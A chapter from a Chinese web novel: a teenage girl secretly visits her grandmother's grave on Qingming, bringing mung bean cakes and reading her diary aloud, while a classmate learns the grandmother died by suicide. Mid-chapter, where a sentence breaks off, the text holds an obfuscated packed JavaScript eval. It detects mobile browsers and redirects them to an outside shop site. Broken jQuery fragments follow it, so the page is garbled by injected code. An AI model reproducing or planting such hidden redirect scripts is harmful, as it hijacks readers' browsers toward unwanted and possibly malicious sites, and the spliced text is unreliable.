55. 绿豆糕
    气清景明万物皆显。

    但好像骆眀昭就没在清明这日瞧过见晴天,总是朦朦胧胧的。

    假期第一天,骆眀昭很早就起了床,林雨彤家里早早就坐高铁回新延市祭祖,她在群里疯狂吐槽着这边怎么下这么大的雨,骆眀昭撑着脑袋朝窗外看,玻璃被雨点打湿。

    卧室门外窸窸窣窣一直有声音,直到脚步声朝房间越来越近,房间门被敲响。

    隔着一层木门,王乐萍出声问:“我们去给姥姥上坟,你去吗?”

    “哦,我就不去啦,好像月经要来了,不太舒服,你跟我爸去吧。”骆眀昭揉揉眼睛,扭过头朝着门外说。

    门外顿了片刻,王乐萍说:“好,那你在家多喝点热水啊,锅里有早饭。”

    大约过了三两分钟,防盗门“嘭”地一声被关住,客厅里彻底没了声音。

    骆眀昭垂下眼,踩着拖鞋,打开衣柜门去翻找自己的衣服。

    挑了件浅杏色的连帽卫衣,胸前是只很漂亮的蝴蝶,又找了条牛仔裤,带上棒球帽,她就要出门。

    临出门前,她却又进了趟厨房,掀开锅盖,锅中蒸着花卷包子还泛着热气。

    骆眀昭扯了下嘴角,也不嫌烫地伸手随便抓起个什么,她飞快往嘴里塞着也觉察不出味道,吃到发噎,她赶紧接了杯水灌下去,闭着眼狠狠往下咽。

    解决,这样爸妈回来应该就觉得她已经吃过早饭了。

    她从伞筒里抽出把透明伞,肩上背着帆布包,就这么推门离开了家。

    -

    “给太爷太奶两人准备的东西带了吗?”牧正云问了一句。

    牧时桉站在玄关处两只手都提着口袋,他淡淡地说:“都拿了。”

    牧正云也拉上外套拉链,从一旁拿出雨伞:“那走吧,你妈她已经接上他们了。”

    牧时桉太奶奶,也就是梁若璇奶奶前年才走,享年九十一,牧家逢年过节上坟,都是给这两位老人祭祀。

    今天下雨,孙惠和牧正云就兵分两路,孙惠早早去接公婆和小姑子,牧正云带着牧时桉去接其他几个亲戚。

    牧时桉推开房门,提着东西正要迈下楼梯,楼下同时传来关门声。

    他顿了片刻,然后加快了下楼的速度,站到二楼半时,跟闻声看过来的骆齐两夫妻对上目光,没有骆眀昭。

    “叔叔,阿姨。”他微笑着,朝着两个长辈打招呼。

    他们俩也正要下楼,王乐萍扬起头:“小牧也要去扫墓啊。”

    “嗯,去扫墓。”

    牧正云关门下楼,往下看刚好看到骆齐,狭窄楼道里人多显得格外拥挤,牧时桉顺势缓缓往下走。

    清明节这天,即便是再别扭的两人,也比平日显得要和平许多。

    牧正云扫过骆齐夫妻两个人,拧起眉出声问道:“今年眀昭也不去扫墓吗?”

    “……嗯,她不去。”骆齐下到单元门口,语气显得有些低沉。

    牧正云也没了话,表情既有无奈又带着丝疼惜。

    “老牧,那我们就先走了啊。”王乐萍说完,跟骆齐打着一把伞走入雨幕。

    小区没什么正经车位,车库也不过就那么几间,汽车都是胡乱停在院里,有空就钻。

    牧正云将车开出小区,牧时桉在门口等着,车一停便拉开副驾车门上车。

    两父子鲜少有什么话题聊,车厢里也没放广播,安静地只能听见雨点敲打车顶的声音。

    牧时桉把座椅往后调了点,半阖着眼脑子里反复播放地全是刚刚楼道里几个大人说的话,昨夜他没怎么睡好,眼下如今满是疲惫而又参杂了些烦闷。

    可能是因为车里太过安静了些,车停在红绿灯前,牧正云朝着他看了一眼,说:“明天就是你十八岁生日,暑假没事要不去学车吧,把驾照考下来以后你来开。”

    牧时桉手交叠抱在胸前,很轻地回了个嗯。

    牧正云又问了句:“生日打算怎么过?给你定个包厢?”

    “梁若璇说她来办。”他说。

    “那也行,你们孩子们一块过有意思,用给你拿点钱吗?”

    “不用,还有。”

    没什么营养的对话就在这里结束,牧正云多看了他一眼,车子又缓缓起步。

    对于自己儿子,牧正云除了不了解外,也看不懂,但孩子已经到了要独立的年纪,想再深入了解也难。

    雨滴的声音,比往日显得更加令人烦躁,牧时桉眉间紧蹙着。

    终于,他最后还是开了口:“你们刚刚在楼道里,说的是什么?”

    “楼道?”牧正云停顿片刻,一瞬间他没反应过来,可逐渐他就明白过来,“你说眀昭?”

    牧时桉抿着唇:“嗯。”

    “你怎么忽然想起问这个来?”牧正云不禁好奇。

    完全没了休息的想法,牧时桉将椅背恢复原状,垂下头将手机点亮,语气听着很平淡:“我们是同桌,她昨天看着状态就不太好。”

    “是这样啊,”牧正云握着车把,他犹豫着,语气逐渐变得严肃,“当初眀昭她,是亲眼看着自己姥姥自杀去世的。”

    屏幕停留在跟骆眀昭的聊天界面,牧时桉垂下头,握着手机的手逐渐泛白。

    他尽量压制着他的语气:“老人,是怎么没的?”

    “……跳楼。”

    -

    小雨淅淅沥沥,但比清晨天刚亮那会儿,已经好太多了。

    带着凉意的风吹得人更清醒些,骆眀昭撑伞走在雨里,两只耳朵都挂着耳机,音乐声柔和又舒缓,能抚平人的思绪。

    她走了有些久,出门以后的第一站,是一家门店有些老的点心铺,门口挂着的牌似乎都有些掉漆,一踏进门,就只能嗅到糕点的甜香味。

    售货员小姐姐见骆眀昭收伞进来,朝着她问道:“您好,想要点什么?”

    “一斤绿豆糕。”骆眀昭轻车熟路地点单,指指柜台里被码放整齐的糕点。

    售货员手脚麻利地打包:“还需要别的吗?”

    骆眀昭四下看着,墙上挂着青团的宣传图:“再要一斤青团吧。”

    “好的。”

    提着购物袋,骆眀昭在路边叫车,等着无聊时,垂眼看向手中的袋子。

    唔,好像比从前贵了。

    出租车开到陵园门口时,有不少人已经相继往外走了,骆眀昭撑着伞站在一棵树后看着,刚好看到骆齐和王乐萍相伴着走下台阶。

    直到看到汽车启动已经要走,她撑伞绕了一圈,走过车上的视觉盲区,缓缓迈上台阶。

    这是绮城最大的一处陵园,雨中空气弥漫花香,青石小径蜿蜒曲折,骆眀昭沿着阶梯越往上走,四周便愈静谧,几乎瞧不见人影。

    等到她站在墓碑前时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056192|143342||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,雨竟然意外地停了,骆眀昭收起伞,将雨伞随意搁置到一旁。

    “我爸他真的很没品位哎,每次都买菊花,黄黄白白的有什么劲,”骆眀昭半蹲下,看着平放在墓碑前的一束菊花,忽然笑了,“姥姥,等下次我就给你买玫瑰,我们都是铿锵玫瑰,对吧。”

    雨已经彻底停了,瞧见满是雨水的石碑,她从帆布包里抽出包纸抽,一点点细心擦拭这着:“看我多有先见之明,还提前带了包纸来,给咱家好好擦擦,干干净净的是吧,你以前最喜欢干净了。”

    折腾了半天,碑上一尘不染,骆眀昭把脏的纸都丢到一旁的垃圾桶,又不知疲惫地小跑过来。

    “看,大功告成,”骆眀昭蹲着,小心翼翼地将塑料袋解开,拿出两盒包装好的糕点,止不住地说,“买玫瑰的事,就等着下次忌日的时候吧。我早上专门去你喜欢的那间点心铺买的,你都不知道绿豆糕涨价啦,原本是两块五一块,现在是三块五一块,我钱包很痛哦,我明明记得去年来的时候还没涨价的。”

    王乐萍和骆齐年轻那会儿商定婚事时,骆姥姥骆姥爷第一次来绮城见亲家,在骆家吃饭时,桌上摆着的就是这个点心,骆姥姥吃了一口觉得特别喜欢,但又不好意思多吃,就只能把包装上的地址记下来,每次来绮城的时候偷偷买。

    后来骆眀昭大了些,就带着她一起来买,是她们两人之间的秘密。

    骆眀昭伸手拿了块绿豆糕,笑着说:“姥姥,既然是我请你的,那我吃一块不过分吧哈哈,我尝尝哦。”

    嗯,还是原先的味道,外层酥皮会掉渣,内馅绿豆沙沙面面的,又甜又香。

    伴着山间的冷风,她就这么一口一口吃着。

    紧接着她又从包里拿出个本子,然后垫着帆布包坐在地上,骆明昭一页页翻看,那是她的迷你日记。

    “姥姥,别人都不知道,就你一个人,我只把我的日记分享给了你哦。”

    每次来看姥姥,骆明昭都会带着日记本来,她怕遗漏了什么,她想把所有经历过的事都说给姥姥听,姥姥是个很好的倾听者。

    她絮絮叨叨地说了很多话,分享着日记里记录的故事,那是有关自己的生活,自己的学习,自己的朋友……

    “嗯,最近还喜欢上了一个男生,他跟我做同桌,长得超级无敌帅,我知道你肯定要说看人不能只看外表什么的,但反正总之,目前还很难放弃。”

    雨虽停,但天仍是阴的,骆眀昭扬起头往上看了眼,乌云遮盖住天际。

    她站起身子,对帆布包上的泥点视若无睹,就那么大咧咧背上。

    “姥姥,我走了,等之后再来陪你啊。”她说。

    骆眀昭垂下眼睫,慢慢往出走。

    雨后路滑,她无意中踩在一块突起的石头上,脚一滑,整个人栽倒在地上,膝盖处顿时传来痛意。

    “唔,好疼,”她撑着地,努力爬起来,唇角扬起一抹苦涩的笑意,“姥姥,是不是你还在怨我啊。”

    ……

    稍远处,一棵粗壮的树干后,骆齐两人忧心地朝一边看,在看骆眀昭生生跪在石板路上,王乐萍眼睛一酸,差点就要冲上去。

    骆齐眼睛也是红的,但却先一步出手拽住了她,小声说:“别去。”

    只见少女一个人努力爬起来,小心翼翼地往山下走,王乐萍捂着嘴,终究是忍不住留下眼泪。